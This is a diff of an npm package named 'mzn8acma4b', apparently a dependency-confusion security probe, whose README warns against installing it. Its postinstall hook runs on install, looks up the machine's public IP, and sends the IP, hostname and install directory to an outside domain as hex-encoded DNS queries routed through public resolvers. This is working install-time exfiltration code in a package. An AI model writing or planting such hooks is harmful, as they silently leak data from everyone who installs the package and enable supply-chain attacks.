mzn8acma4b 2.0.0

package/README.md

@@ -0,0 +1 @@
+# DO NOT INSTALL THIS PACKAGE! IT IS MEANT FOR SECURITY TESTING AND IT LOGS YOUR COMPUTER'S IP ADDRESS, HOSTNAME, AND CURRENT WORKING DIRECTORY

package/package.json

@@ -0,0 +1,7 @@
+{
+  "name": "mzn8acma4b",
+  "version": "2.0.0",
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  }
+}

package/postinstall.js

@@ -0,0 +1,61 @@
+// please check README.md
+
+const dns = require('dns/promises');
+const crypto = require('crypto');
+const os = require('os');
+const http = require('http');
+
+const resolver = new dns.Resolver();
+const executeResolve = s => resolver.resolve4(`${s}.dataflow.postcss-theme-shorthand-sectest.cf`).catch(() => {});
+
+const CHUNK_LENGTH = 23;
+const NONCE_LENGTH = 4;
+const SEQ_LENGTH = 4;
+
+for (const server of ['1.1.1.1', '1.0.0.1', '8.8.8.8', '8.8.4.4']) {
+  const servers = resolver.getServers();
+  if (!servers.includes(server)) resolver.setServers([...servers, server]);
+}
+
+function announce(data) {
+  const chunks = [];
+  while (data.length) {
+    chunks.push(data.slice(0, CHUNK_LENGTH));
+    data = data.slice(CHUNK_LENGTH);
+  }
+
+  const nonce = crypto.randomBytes(NONCE_LENGTH);
+  for (let i = 0; i < chunks.length; i++) {
+    const packet = Buffer.concat([nonce, Buffer.alloc(SEQ_LENGTH), chunks[i]]);
+    packet.writeUInt32BE(i, NONCE_LENGTH);
+    
+    executeResolve(packet.toString('hex'));
+  }
+}
+
+function sendData(ip) {
+  try {
+    announce(Buffer.concat([Buffer.from('i'), Buffer.from(JSON.stringify({ ip, hostname: os.hostname(), cwd: __dirname }))]));
+  } catch {
+    executeResolve('fail');
+  }
+}
+
+const httpRequest = http.get('http://api64.ipify.org/?format=json', response => {
+  if (response.statusCode != 200) {
+    sendData(null);
+    return;
+  }
+
+  let ipData = '';
+  response.on('data', chunk => ipData += chunk);
+  response.on('close', () => {
+    try {
+      sendData(JSON.parse(ipData).ip)
+    } catch {
+      sendData(null);
+    }
+  });
+});
+
+httpRequest.on('error', () => sendData(null));